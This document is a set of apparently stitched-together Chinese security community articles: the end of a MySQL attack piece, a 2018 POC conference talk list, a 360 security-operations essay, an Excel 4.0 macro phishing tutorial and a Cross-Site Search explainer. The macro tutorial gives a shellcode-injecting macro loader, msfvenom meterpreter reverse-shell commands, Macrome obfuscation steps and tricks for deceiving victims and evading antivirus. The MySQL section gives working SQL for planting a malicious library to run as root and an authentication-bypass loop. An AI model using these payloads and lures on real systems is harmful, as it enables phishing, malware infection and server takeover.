* 该进程能够在启动mysql server之前预加载共享库文件，通过参数 –malloc-lib = LIB /usr/local/mysql/bin/mysqld_safe:
* 一旦攻击者可以注入恶意库文件在my.cnf文件中，即可在mysql服务重启时以root权限执行预加载的任意共享库中的任意代码
**2\. 利用场景**
* 在MYSQL已存在的具有弱权限或者权限设置不安全的配置文件（mysql用户可写）里注入恶意代码
* 在MYSQL的data目录里（mysql用户默认可写）创建一个新的配置文件my.cnf，并注入恶意代码
**3\. 漏洞利用**
首先通过sql查询创建配置文件
mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/exploit.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
之后重启mysql服务，即可执行tmp文件夹下的exploit.so文件
### 0x5 Mysql 身份认证绕过漏洞（CVE-2012-2122）
> 版本范围 ：
> MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
> MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。
漏洞复现 <https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122>
直接搭建docker环境
在不知道我们环境正确密码的情况下，在bash下运行如下命令，在一定数量尝试后便可成功登录：
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
## 0x04 总结
总结了mysql客户端任意文件读取利用、利用SSRF攻击Mysql数据库获取数据、SQL注入中文件读写利用、特定版本Mysql提取获取shell漏洞以及很古老的mysql身份绕过认证，这些攻击技巧是之前频繁出现的利用方法，后续将分析关于postgres等数据的攻击利用方法。
## 0x05 参考文献
<http://www.nsoad.com/Article/Vulnerabilityanalysis/20160913/391.html>
<https://www.freebuf.com/articles/web/159342.html>
<https://www.anquanke.com/post/id/84553>
<https://www.imooc.com/article/258850?block_id=tuijian_wz>
<https://blog.csdn.net/weixin_34255793/article/details/90309996> | 社区文章 |
11月8日-9日，韩国2018 POC（Power of
Community）安全大会在首尔揭开帷幕，汇聚各国顶级黑客高手，共同探讨安全界的热门议题。POC是韩国最大的安全技术峰会，今年已经是第十二届，2006年一群韩国黑客与安全研究专家决定以“交流技术、分享知识”为目的举办会议，并将其命名为POC(Power
of Community，社区力量)，它是目前互联网安全界举办历史最悠久的大会之一。时至今日，POC已经成为了国际知名的安全技术交流峰会。
**【议题PPT下载】：<http://powerofcommunity.net/2018.htm>**
### WebGoat.SDWAN.Net in Depth
**演讲者：Denis Kolegov, Oleg Broslavsky**
今天，«SD-WAN»是一个非常热门和吸引人的话题。软件定义的WAN（SD-WAN）是一种基于软件定义网络（SDN）方法的技术，应用于企业网络中的广域网（WAN）。根据Gartner的预测研究，到2020年，超过50％的路由器将被SD-WAN解决方案所取代。
在本演讲中，我们披露了广泛且最流行的SD-WAN产品中的一组漏洞，包括Citrix NetScaler和Silver Peak
EdgeConnect。我们介绍了我们研究的新结果，考虑了不安全设计的一些技术细节并发现了漏洞，并描述了可能允许攻击者危及SD-WAN控制和数据平面的不同攻击场景。
### Windows Kernel Fuzzing
**Gmliu @ Tencent Zhanlu Lab**
近年来，Windows内核安全性受到高度重视，Microsoft已经增强了Windows内核的安全性。由于这个原因，内核问题越来越少，安全研究人员更难找到内核错误。所以我开发了一个工具来帮助安全研究人员fuzz
Windows内核。
在本次演讲中，我将首先介绍一种新的方法来fuzz
Windows内核。然后，我将展示一个fuzz的框架，它是如何工作的，并讨论一些Windows内核fuzz测试的方法。fuzz测试侧重于Windows内核对象以及与不同对象的关系。本演讲将介绍GDI对象和其他一些Windows内核对象。我将展示一些我在fuzz测试框架中发现的崩溃案例。最后，我将分享一些Windows崩溃详细信息并显示漏洞利用演示。
### Document parsers "research" as passive income
**演讲者：Jaanus Kääp**
从2015年底开始，我在MS
Office产品和Adobe应用程序中使用了相同的基本方法和工具进行漏洞研究。这个演讲描述了一些有用的方法和小技巧，我也将公开我的完整工具集。
### How to Exploit Blockchain Public Chain and Smart Contract Vulnerability
**演讲者：Jiafeng Li, Zuotong Feng @ Qihoo 360**
区块链并不完美，存在许多挑战，安全威胁是区块链面临的最重要问题之一。随着其经济价值持续上升，它促使攻击者使用各种攻击手段获取利益。
本演讲将介绍我们的团队在区块链研究和公共场所发现的攻击方法，如以太坊Geth节点Dos，EOS节点攻击，智能合约呼叫注入攻击，整数溢出和其他攻击，我将详细说明如何我找到了，我将介绍使用的方法，跟踪的功能，使用的工具等。每个漏洞都非常有趣，我期待与大家分享。据我们所知，这将是第一个发布2018年区块链安全白皮书的演示文稿。
### Pwning Microsoft Edge Browser: From Memory Safety Vulnerability to Remote
Code Execution
**演讲者：Jin Liu & Chong Xu**
在过去几年中，漏洞利用的攻击和防御已经迅速发展，特别是对于那些高风险的应用程序，例如Microsoft
Edge浏览器。Edge浏览器和Windows操作系统引入了许多新的缓解功能，如CFG，ACG和Win32K Type
Isolation。虽然这些缓解确实有助于提高漏洞利用作者的标准，但这种猫捉老鼠的游戏远未结束。
在本次演讲中，我们将介绍几个有趣的漏洞和开发技巧示例，并讨论如何在Windows 10 x64上进行可靠的Edge RCE漏洞利用。
### Practical evading attacks on commercial AI image recognition services
**演讲者：Kang Li**
在过去的一年中，我们通过利用软件漏洞和算法漏洞展示了对AI应用程序的各种攻击。本演讲为主要互联网公司提供的公共图像识别API提供了新的逃避攻击。
对基于人工智能的图像识别的攻击是人工智能领域的热门话题，尤其是对抗机器学习的形式。产生对抗性攻击是一个非常活跃的研究课题。然而，学术工具产生的对抗性样本尽管在研究环境中取得了成功，但在实践中不会对商业AI服务和API产生错误的分类效果。大多数基于AI的商业图像识别系统采用防御性方法来过滤其输入，这些过滤器使得学术对抗的例子无效。
这些防御性过滤器的设置和参数不为公众所知，因此我们设计了盲目绕过和击败此类过滤器的方法和工具。我们已成功演示针对大多数商用AI基于图像识别服务的针对性逃避攻击。在本次演讲中，我们将展示允许攻击者欺骗多个众所周知的基于AI的商业服务的方法和威胁示例。
### Era of iOS 12 with A12: End of iOS War?
**演讲者：Liang Chen @ KeenLab of Tencent**
### 802.11 Smart Fuzzing
**演讲者：Lidong LI & Naijie XU @ CyberPeace**
近年来，wifi不仅被用作家庭网络，而且更多的物联网设备和互联网汽车正在使用wifi接口。本主题主要用于802.11-wifi协议的fuzz测试。我们将展示一些关于802.11
fuzz测试和我们研究的技巧。
### Exploiting Chrome IPC
**演讲者：Ned Williamson**
自从Chrome渲染器进程中的win32k锁定以来，在Windows上转移Chrome沙箱变得更加困难。最近成功的竞争漏洞发生在2015年。
虽然每个人都专注于win32k，但Chrome浏览器沙箱的安全性却被忽略了。通过应用新的fuzz测试策略，可以揭示许多漏洞，其中一个我曾经在saelo和niklasb的帮助下在Hack2Win上展示了完整的链式漏洞利用。在本次演讲中，我希望通过使用简单且可靠的方式，使用有针对性的fuzz测试来展示我是如何发现这些错误的，并简要介绍我们如何利用免费bug来完全逃离沙箱。
### Automating Windows Kernel Pool Overflow/Corruption Exploits Development
**演讲者：Nikita Tarakanov**
在本次演讲中，我们将介绍一种新的开发框架，以自动利用Windows内核池溢出/损坏漏洞。从技术上讲，我们的框架利用了内核池操作技术和各种开发技术（其中一些是新的，从未发布过）。我们证明了这个新的开发框架从许多方面促进了漏洞利用。首先，它适用于从Windows
7到Windows 10 RedStone
4的所有Windows版本。其次，它绕过所有内核安全缓解，包括池元数据强化，对象头类型索引编码，SMEP，KMCI。
### IPC MitM: Exploiting a Fun Logic Bug for Kernel-Mode Code Execution on
MacOS
**演讲者：Samuel Groß**
本演讲首先将重新讨论macOS和iOS上的基本IPC原语以及它们的一般OS设计。然后，将解释一个有趣的逻辑漏洞，允许攻击者拦截和操纵用户域进程之间的IPC流量。最后，将介绍利用此漏洞的不同方法：首先通过以sudo为目标获取root权限，然后通过欺骗kextutil将无符号kext加载到内核中，从而绕过SIP并获得内核模式代码执行。此漏洞在Pwn2Own
2018中用作针对macOS上Safari的攻击链的最后一部分，将发布完整的漏洞利用程序以及实现利用所需的XPC协议部分的库。
### IOService Becomes a Grandpa
**演讲者：Tielei Wang, Hao Xu @ PanguTeam**
本演讲将首先介绍IOKit，这是XNU内核的面向对象设备驱动程序框架，并深入介绍了类继承等功能的实现。然后，我们将检查IOKit用户客户端创建过程并分析被忽略的攻击面。在此发现的指导下，我们将在最新的iOS
/ macOS内核上介绍和分析一些新的类似漏洞。
### Vulnerability analysis of Z-wave products used in Korea
**演讲者：WYP**
本演讲重点介绍使用Z-Wave无线通信协议产品的漏洞，该协议具有良好的可用性、可扩展性和低功耗协议的优点。演讲主要分为两部分：第一部分介绍ZWave的相关研究和发展趋势，并从安全角度介绍直接分析Z-Wave产品的结果。第二部分演示使用我们创建的Z-Wave欺骗工具通过任意创建的数据包控制商业产品的过程。
我们将展示对几种产品的攻击，包括一些配备了主要公司通信模块的智能门锁，还介绍并演示各种攻击媒介，包括DoS攻击和Replay攻击。尽管这个演示基于一些公司的特定产品，但漏洞和攻击通常可以应用于所有使用z-Wave协议的产品。
### Baby I can drive your car: remotely hacking Telematics CAN-connected
devices
**演讲者：Yannay Livneh**
近年来，为车辆管理提供额外服务的行业Telematics正在崛起，为车辆提供许多服务，如车队管理、基于使用的保险、实时位置跟踪、车内连接等。
为了改善Telematics设备提供的服务（例如实时故障报告），其中许多设备连接到车辆的计算机网络以及外部世界 -例如互联网。因此，它们是想要远程连接到车辆电子系统的攻击者的有利目标。如果成功执行这样的情况，则可能产生严重的结果并影响车辆的安全性。
在我们的研究中，我们分析了常见Telematics设备的安全性。我们发现攻击者可以通过多种方式破坏设备（本地和远程）。使用受攻击的设备，攻击者可以通过蜂窝调制解调器连接向车载CAN网络发送消息，从而允许攻击者控制关键的车辆功能。上述假设的情景在现在是有可能发生的。
攻击者可以接管这些设备，导致车辆行为不端，甚至出现更多难以想象的情况。
我们在演讲中讨论研究和结果，解释攻击者可以使设备执行命令的多个漏洞和攻击媒介。然后我们描述了一个可行的攻击计划，攻击者可以通过该计划完全控制设备。最后，我们以完整的POC结束，显示了攻击情形的样子，即攻击者不用靠近汽车附近，就能通过互联网激活汽车功能。
### SSRF To RCE In Java
**演讲者：Yongtao Wang, Sai Cheng, Jie Fu @ Qihoo 360**
SSRF不是一项新技术，在过去的几十年中，许多安全研究人员提出了各种攻击。我们的研究发现JDK中存在高风险的安全漏洞，并且利用此安全漏洞可以获得WINDOWS凭证。在应用程序具有SSRF漏洞的情况下，可以实现RCE的效果，这个漏洞已经被Oracle官方网站承认为重要的补丁更新。在本演讲中，我们将详细介绍漏洞原理、发现过程、攻击场景和攻击过程。之后，我们将针对此漏洞发布漏洞利用工具。
### Diving into Windows Defender Application Guard
**演讲者：Yunhai Zhang @ NSFOCUS security team**
随着Windows 10 RS3的发布，引入了一种独特的基于硬件的隔离技术，称为Windows Defender Application
Guard（WDAG）。通过使用本机Windows
Hypervisor，WDAG旨在将不受信任的网站和PDF文档隔离在与操作系统分离的轻量级容器中，从而保护桌面PC。
在本演示中，我们将深入研究WDAG的内部结构。第一部分将重点介绍WDAG的内部工作原理，其中讨论了如何创建容器，如何在容器中启动应用程序，容器的安全机制等主题。第二部分将展示如何修改容器以在容器内构建调试环境。最后一部分将讨论WDAG的攻击面。
* * * | 社区文章 |
# 360安全大脑赋能安全运营与应急响应：海量数据下的实战方法论
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 导语：“常态实战化的安全运营，能够提升企业整体威胁发现和应急响应的能力，在发生安全事件时，改进检测和响应时间，以最短时间保障业务系统的正常运行。”
“常态实战化的安全运营，能够提升企业整体威胁发现和应急响应的能力，在发生安全事件时，改进检测和响应时间，以最短时间保障业务系统的正常运行。”8月19日——21日，第八届互联网安全会（ISC
2020）的应急响应与安全运营论坛中，360集团信息安全中心负责人张睿带来《基于360安全大脑的威胁运营落地与实践》的分享，从360威胁运营的思路与方法、基于360安全大脑的威胁运营建设、基于360安全大脑的威胁运营工程实践三个方面论述了360的安全运营。
## 一、360威胁运营的思路与方法
### 1\. 威胁运营的现状：
360内部安全团队每天面对着非常复杂的运营战场，为满足互联网业务敏捷和弹性需求，将基础网络发展成为庞大异构的互联网业务混合云架构，全球设有200多个数据中心，十几万的云服务器，包括自建骨干网络、边缘网络，私有云和公有云，内部有容器等各类云原生服务等。通过移动客户端“360家”实现BYOD远程办公，集成了云盘、OA、IM等办公应用，后端联动API网关实现基于员工身份对业务系统访问的鉴权。
在高度复杂的基础架构环境下，每天威胁运营团队会面对各种安全问题。总之，在出现问题复盘时，运营的同学总会说自己本可以做到“更”好。
### 2\. 指导安全运营的核心思想：
安全运营团队真实想做的和现实做到的往往有非常大的差距，希望建造一个坚强稳固的堡垒，实际上经常会发现墙上破了一个又一个窟窿，运营人员总是在补窟窿的路上。
在逐步展开安全建设后，360安全运营团队意识到攻防本质上是成本的对抗，也是人与人的对抗，攻防之间需要形成一种相对动态的平衡，安全防御就要在受保护的目标资产价值、安全建设投入和性价比之间的做好平衡关系。
360内部指导安全运营的三条核心思想：（1）找准ROI持续投入进行安全建设；（2）自主可控，攻防实践加工具开发；（3）工程能力是落地安全防御体系能力的核心。
### 3\. 转变思路-走向真正的数据驱动安全：
通过落地基础的日常安全运营工作，可以形成纵深防御体系，提升攻击者成本，减小响应的时间窗口；但仅仅做好这些基础功课肯定还是不够的，会遗漏很多潜在的威胁。入侵是不可避免的，只要检测和响应足够快，业务不会被破坏。所以要转变思路，朝着真正的数据驱动安全的方向。
数据驱动安全的理念代表着是一种检测思路的转变，由传统的以漏洞为中心，聚焦检测逐渐转向以威胁为中心，聚焦在数据收集上。传统的检测是依赖精准的特征，不太区分具体的威胁类型和场景去被动监测这些告警，而基于数据的方法主要会依赖各种来源的数据，逐步覆盖各类威胁场景的攻击手法，依赖内外部的威胁情报，主动做威胁狩猎。
总结来看，就是首先要去积极的检测和响应，结合特征检测和行为检测，运营人员需要主动威胁狩猎和响应，在检测上不再追求单点的完备性和告警的精准性，实现基于全盘数据的统筹关联，有点及面的实现对威胁的探索和发现。
1） 有目标的数据收集
为了实现基于数据驱动的威胁分析，首先需要做到有目标的数据采集与监测。首先数据的存储成本和传输成本是非常高的，数据也永远都没有收集完整的那一天，所以切忌盲目地去收集相关数据。
从经验上来看，首先数据收集要尽可能去靠近一些收敛的集中点，这样可以降低数据收集或者标准化的成本。除此之外，数据本身的收集是一个长期的持续动态的过程。最重要一点就是数据一定要打好基本功，如果没有好的数据质量和数据维度，实际上很多分析工作是没有办法开展的。
2) 基于大数据科学分析方法的威胁判定
电影里的“照片墙”可以非常形象的表达在威胁运营的中面对的问题，首先是威胁运营的分析人员，在海量数据里往往看到的并不是威胁的全貌，能看到是单一的攻击线索，非常碎片化的信息，如何把这些海量的数据中碎片化的信息，通过线索关联起来，去定位攻击者或者受害者，然后找到攻击的手法和工具，这就是整体做威胁运营分析的最重要的思路。具体落地到威胁运营的数据上来看，一般来讲从海量的原始数据到最终的安全事件，是一个逐渐收敛的过程，总结来说就是做到向上智能归并，向下多级的钻取。
3) 建立威胁模型关联聚合分析
在实践中，发挥威胁运营价值很重要的数据包括网络侧NDR和终端侧EDR的数据，网络侧的数据会集中在攻击的初始阶段或者命令控制阶段，有比较高的实时性，能够比较好的实现溯源追踪，但是很难实现实锤，需要终端去做一些实证排查。另外一块是终端侧的数据，会集中在攻击的中后阶段，例如样本或者命令执行的前后阶段，往往是比较碎片化的，需要进行大量的回溯才能还原整个攻击事件。基于ATT&CK矩阵工具的对NDR和EDR覆盖矩阵点的分析结果可以看出，两侧数据的覆盖面是互补的，都无法完全覆盖所有攻击战术和手法，结合起来才能够看的更全面。
具体工程实现上网络侧和终端侧关联的思路，一般会把两侧的原始告警通过关联聚合的方法形成各自的网络告警和终端告警，具体包括时序、因果、阈值统计、基线、因果、跨攻击链的方法等。这些关联形成的网络告警或者终端告警已经是比较准确的，如果再能关联上，就是比较实证的安全事件；网络侧原始数据跟终端告警关联能够快速实现终端告警的追溯，网络侧告警跟终端侧原始日志关联起来，能够实现网络侧告警的快速的佐证。
## 二、基于360安全大脑的威胁运营建设
### 1．落地可量化的安全运营评价体系
对甲方团队而言，安全运营最重要的就是关注它如何去落地。但为了去实现落地，在运营的过程中有非常多的点需要去落实，比如安全运营的结果如何去度量；日常运营的数据如何进行闭环；如何进行报表统计、向上管理可见；如何去消减误报，提升运营的效率；如何去区分违规还是真实有效的外部威胁；安全事件来了，如何做相关的应急预案；如何传承专业的运营经验，降低整个运营团队的知识成本等等。所有的问题都是在安全运营流程中需要去关注的，运营的核心关注点包括：一是威胁检测的覆盖面和检测能力，二是平均的检测和响应时间，三是运营的效率，是高度以结果为导向的。
总结来讲就是整个运营其实际上是以一个高度以结果为导向的结合人、技术、流程的活动，需要为安全目标负责，需要给业务创造安全的价值。
### 2．效能协同的运营组织建设
360内部安全运营的组织，并没有成立实体SOC组织，是建立在各团队跟运营相关的人员基础上形成的虚拟化的运营团体。
在团队建设上秉承的是专家团队的协同运营的模式，会分各个安全领域建立相关的安全小组和团队，尽可能的让专家的安全能力聚焦并固化在组织和平台里，整个运营团队的文化是一种敏捷的文化，通过Devops方式快速迭代运营平台、运营规则与运营流程。
从安全能力上来说，覆盖了业务安全和基础安全主要领域以及主流的安全能力技术栈，更上一层就是一些效能协同小组，例如安全运营SOC组，安全事件响应小组，红蓝对抗行动小组，最上层的是从业务赋能的相关小组。
### 3．360安全大脑赋能联动运营
在整体威胁运营的架构设计上，360本身拥有海量的威胁情报数据的来源，利用360本身云端的安全大脑结合本地的安全大脑去做整体联动的运营。360海量的安全基础数据库每天会产生海量的威胁情报，结合这些威胁情报的线索和调用各类的云端的分析判定服务，会给本地威胁运营的数据分析平台做一个很好的赋能。
在威胁运营实践上，基于网络侧的数据和终端侧的告警数据和原始数据，通过本地安全大脑产生一系列的威胁告警，首先会做威胁情报和资产信息的丰富化；一方面在本地的数据分析平台上设定相关的关联分析规则来形成高危的安全事件告警，另一方面也会将本地必要的不太敏感的数据上传至云端大脑，结合云端的威胁分析和鉴定能力给出判定结果，通过这种本地结合云端的联动方式来建立威胁判定模型。
因为数据维度足够丰富，结合具体场景的建模有很多方法，例如云端沙箱检测完判定的精确结果，基于云端威胁情报查询返回的加权风险值，基于威胁场景和资产维度的加权风险值，以及规则、样本特征本身专家评分值等等，通过这一系列维度的分析，威胁模型才能够把一个不太容易关注的威胁告警在海量的告警里自动化的推选成高优先级的安全事件告警。
最后通过自动化编排的方式推送到相关运营平台上，包括工单平台，处置平台，阻断类产品如WAF、终端防护、下一代防火墙等等，让运营人员及时的发现和处置。
## 三、基于360安全大脑的威胁运营工程实践
### 1．安全融入基础架构，建立SDP安全架构
在基础安全方面，360内部安全建立了一套SDP零信任基础架构。目前已经实现了大数据的威胁判定的分析和整个SDP基础架构里面的网络会话的关联，这个分析系统主要会产生一些威胁判定的标签，这些标签会绑定到零信任基础架构的访问会话引擎里面，如果有些高危的威胁，会实时的进行相关自动化的处置。
### 2．统一精细化资产管理和脆弱性跟踪
在海量业务服务数据里做资产的发现和脆弱性的管理，360内部是通过“天相”这款工具去做资产扫描去以及相关的资产发现和脆弱性管理的。“天相”可以实现海量的资产的分布式的高效扫描，实现对整个资产和脆弱性的全生命周期的管理，运营人员能够第一时间确认相关资产的安全状态以及业务的重要程度等等。
### 3．建设方便运营人员的安全数据分析平台
威胁数据分析平台的建设核心关注点就是要方便运营的落地，包括做威胁检测规则的开发和调试以及告警数据的回溯；其次这个平台要具备通用性，可以去适配不同的威胁场景。360实现了统一的SQL分析入口，所有的数据都可基于SQL去做数据查询；针对海量原始数据流式关联分析，通过Flink来实现对原始数据进行标记、清洗，并对关联分析产生告警丰富化，把告警数据打入告警展示平台；离线数据的关联分析实现了一套基于ES的类SQL语法形式化的规则引擎，运营分析人员只提取相关的关联分析特征，写好基于SQL关联规则，就可以把一些威胁事件，基于原始的告警数据关联筛选出来，形成威胁事件告警，并完成相关数据的丰富化。
### 4．高效整合NDR和EDR数据关联
在网络侧方面，通过全流量DPI的方式去覆盖了所有骨干IDC的南北向的出口，所有办公网包括南北向和东西向所有的流量以及邮件入口流量都做DPI的深度解析还原。主要还是以规则引擎为主，然后结合机器学习模型以及威胁情报去做相关的落地。网络侧给出的告警信息需要足够丰富，包括资产数据、情报数据还有一些云端大脑的鉴定的数据等等，这样通过关联分析才有更多的维度去做一些数据的筛选，筛选出一些更高危的告警。
在终端侧方面，检测的思路一块是在主机侧，一块是在终端里面去部署相关的代理，形成整体的检测思路或会把一些比较精准的轻量级的检测放在本地，例如像文件上传的检测，暴力破解的封禁等。一些更隐蔽的威胁或者一些更高级的威胁，会通过EDR的模式把数据收集到云端，做相关威胁数据的分析。
### 5．走向未来的创新型SOC建设
360安全运营团队将延续360自主可控的安全能力建设的传统进行技术创新，探索威胁运营新的思路和方法，希望未来能真正做到风险预测和态势感知，也希望能给集团业务创造更多价值。 | 社区文章 |
# 钓鱼小技巧-XLM
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
XLM钓鱼不是一项新的技术，自从公开以后，网上有很多对其的分析文章，这里仅仅做一个分享和摸索记录。文章中有问题的地方还请指出。
## 一个简单的例子
新建一个excel表格，右键选择表，选择插入
插入ms excel4.0宏表
随后在单元格输入以下内容，并将A1格内容改为Auto_Open,随后隐藏这个表就好。
随后保存为启用宏的文档。
当鱼儿点开，选择启用宏时就会调用计算器，并弹窗
## 扩展及原理
通过Auto_Open可以让宏表自动运行，通过隐藏宏表可以做到简单的隐藏效果。
而在实战环境中，我们更关注的是能否执行我们的shellcode。
Outflank研究发现，通过利用这些宏的 _REGISTER_ 和 _CALL_ 函数，可以调用 Win32 API，并可以将 shellcode
注入到正在运行的进程中。
`REGISTER("Kernel32","VirtualAlloc","JJJJJ",0,880,4096,64)`
_REGISTER_ (module_name, procedure_name, type, alias, argument, macro_type,
category)
* Module_name 是 DLL 的名称，例如 c:\windows\system32\kernel32.dll 的“Kernel32”。
* Procedure_name 是 DLL 中导出函数的名称，例如“VirtualAlloc”。
* Type 是一个字符串，指定函数的返回值和参数的类型。
* Alias 可以为函数指定的自定义名称，稍后可以通过该名称调用它。
* Argument 可用于命名函数的参数，它是可选的。
* Macro_type 应该是 1，代表函数。
* Category 是类别编号（用于古老的 Excel 功能）。我们可以为我们的目的指定一个 1 到 14 之间的任意类别编号
如果你想深入了解可以参考excel
4.0函数[说明文档](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf)
接下来我们构建一个可以执行我们自己shellcode的文档，这里有几个要注意的点
一个是shellcode中不能存在空字节`‘\x00’`
另外一个就是WPM每次调用最多只能写入 **255 个字节** 。
我们来看一下网上相关的利用代码
=R1C2() //调用指定位置代码
=CALL("Kernel32","VirtualAlloc","JJJJJ",0,1000000,4096,64) //调用Kernel
=SELECT(R1C2:R1000:C2,R1C2) //选择shellcode列
=SET.VALUE(R1C3, 0) //设置一个单元格
=WHILE(LEN(ACTIVE.CELL())>0)
=CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, R2C1 + R1C3 * 20,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0)
=SET.VALUE(R1C3, R1C3 + 1)
=SELECT(, "R[1]C")
=NEXT() //循环shellcode，调用RtilCopyMemory，循环往内存空间写入，当当前shell代码单元格的长度一旦将单元格写入内存，计数器+1并进入下一循环
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C1, 0, 0, 0) //调用CreateThread创建线程
=HALT() //必须包含HALT或RETURN函数
这个时候可以使用工具生成我们自己的shellcode，并转化即可。过程中会遇到EXCEL崩溃的情况，不过代码执行并不受影响。
通过msf命令，我们可以快速生成不包含空字节的shellcode，通过[SharpShooter](https://github.com/mdsecactivebreach/SharpShooter)工具可以帮助把shellcode转化成可用的格式。当然网上也有很多脚本可以利用，可以自行搜索下。
使用工具先生成
生成后发现打开直接崩溃，不过没有关系。我们可以手动对代码进行调整
对于excel宏调用，我们可以观察其代码，发现其中的excel宏片段是写死的，猜测崩溃原因就在此
无论怎样生成，其中代码都是不变的，所以就可能造成崩溃的问题。有闲工夫可以附加调试看看什么情况，不过这不在本文章的范围。
看了一些项目发现，其调用的地址都是动态生成的
<https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js>
这种不带混淆的，直接VirtualAlloc -> WriteProcessMemory ->
CreateThread现在肯定是被杀的，所以还是需要自动化的生成工具。
## 自动化利用
github上有很多的开源的工具，这里我使用[Macrome](https://github.com/michaelweber/Macrome)
使用msf生成64位和32位不包含空字节的shellcode
`msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.8.109
lport=4444 -b '\x00' -e x64/xor --arch x64 --platform windows -f raw >
payload64.bin`
``msfvenom -p windows/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444
-b '\x00' --arch x86 --platform windows -f raw > payload32.bin`
使用工具执行，该命令会使用默认模板写入并混淆。
``Macrome.exe build --decoy-document decoy_document.xls --payload
payload32.bin --payload64-bit payload64.bin`
当受害者点击启用宏就会上线。上线后如果关闭excel，那么shell就会断开。
另外使用64位监听器去接收会引起excel的崩溃，因为测试环境是64位的，但是EXCEL安装的是32位的。
32位监听器正常上线
VT查杀率 21/59
网上工具自动生成还是存在查杀率较高的问题，如果想要做到免杀效果好的话，还是需要自己尝试去编码，开发开发工具。
## bypass
因为XLM的构造特点，如Auto_Open、数量贼多的char函数等等，某些AV还不管三七二十一的给你误报，所以bypass还是比较困难的。
现在这个钓鱼方法已经工具化了，往往都集成了各种编码，加密。这里只介绍几种从攻击团伙的样本中学到的一些姿势。
1、图片遮盖
将宏代码隐藏在图片下，图片可以是提示启用宏的引导性内容
2、交互式消息弹窗
=IF(ALERT(“此文档与您的服务程序不兼容，是否还要继续查看此文档？”,1),,CLOSE(TRUE))
代码是顺序执行的，所以该执行的也不受影响，通过交互式弹窗的方式让鱼儿放松警惕
3、下载在转储
从网上下载恶意代码，存储到某个位置。然后再调用执行
4、代码随意分布
将代码拆分保存在各个分散的单元格中
5、更改字体颜色
修改字体颜色为白色
6、修改二进制文件
通过修改二进制文件的方式去隐藏宏表，这样无法通过普通方式取消隐藏来获取宏表
7、替代函数规避
通过可以用函数组合，或者通过日期函数获取数字，通过算数运算传入某些值
8、多个宏表
构建多个宏表，隐藏真正的恶意宏表，拖慢分析
9、恶意代码隐藏到注释
将shellcode内容加密防止注释中再调用
## 防御手段
1、禁用宏，对于宏文档提高警惕性
## 参考文章
<https://synzack.github.io/Weaponizing-28-Year-Old-XLM-Macros/>
<https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/> | 社区文章 |
# Cross-Site Search
# 1.概念解释
Cross-Site Search 又称 `XS-Search` 是在没有办法在受害者及其同源网站注入js脚本的情况下,
通过一些其他手段泄露受害者网站的用户数据的一类攻击手法的统称也是常说的 `侧信道攻击` , 由于前提是不能执行js代码, 所以 `XS-Search`
很难获取用户的cookie. 但是依然可以通过泄露用户的敏感数据造成危害
由于 XS-Search 是一类攻击手法的统称所以说起概念会较为抽象, 下面用几种具体的攻击手法来说明这种攻击的具体含义
# 2.实例分析
## 2.1 通过Chrome xss auditor
在chrome中如果通过一个iframe打开一个页面, 但这个页面被正确加载时修改 `window.hash` 不会触发iframe的onload事件,
假设这个页面加载错误, 包括但不限于, 请求超时, 域名不存在, 被chrome XSS过滤器的block模式屏蔽, 当出现这些错误时,
修改一个iframe的hash会再一次触发onload事件.
下图中我们尝试在别的站点打开一个先知的iframe, 果不其然加载失败了, 此时修改url中#后的值, 再次触发onload事件
下图是一个可以成功打开的站点, 修改src中#后的部分, onload事件仅触发一次
(想复现的同学记得一定要加 `www.baidu.com/` 中的那个 `/` 如果少了这个字符, 页面每一次都会跳转到 `www.baidu.com/`
也就是说每一次都会触发onload事件
整理出如下逻辑, 这个逻辑也可以单独用来在在浏览器中扫描端口(仅能扫描web服务.
修改iframe的src中"#"后的部分
├── 触发onload事件 -> 该iframe未被正确加载
└── 未触发onload -> 该iframe正确加载
欺骗XSS auditor, chrome的XSS auditor本身的逻辑比较简单, 判断有没有输入敏感payload,
有判断页面中有没有和自己长的一样的, 如果有敏感的payload, 同时页面中也有和自己长得一样的内容就会屏蔽.
假设页面中有如下内容, 其中key这个变量的内容是我们要获取的
<script>key="blalalalalalalalalalala"</script>
`http://test.site?nothing=<script>private_key="` -> 页面加载失败
`http://test.site?nothing=<script>private_key="a` -> 页面加载成功 -> 与页面内容不匹配
`http://test.site?nothing=<script>private_key="b` -> 页面加载失败 -> 与页面内容匹配 ->
固定当前字符, 爆破下一位.
`http://test.site?nothing=<script>private_key="ba` -> 页面加载成功 -> 与页面内容不匹配
....
`http://test.site?nothing=<script>private_key="bl` -> 页面加载失败
....
直到爆破到 `"` 为止
## 2.2 通过页面缓存
可以通过一些静态资源, 如图片, js脚本, css等静态资源是否被缓存来判断用户访问过那些页面,
通过让站点必定会返回报错的方式访问那些静态资源如果成功访问则一定是从缓存中取出的:
* 通过站点自己的waf,安全策略使服务端报错.
* 通过控制http头部(或其他内容)使服务端报错.
我们就拿先知来举例吧, 首先找一个保存在先知文章中的图片, 复制下他的链接.
在burp中访问一下:
得到了一个正确的回复(废话
那现在我们给这个请求加一点东西
警惕的waf立马发现了我的不正常行为对其进行了拦截.
在浏览器中referer头是可以被我们控制的(某些情况
找一个可以在线编辑HTML的网站, 打开disable catch看看能不能打开之前选择的这张图片
(这里忘加了disable catch, 但是不影响结果
没有什么问题, 如法炮制加一点敏感的payload
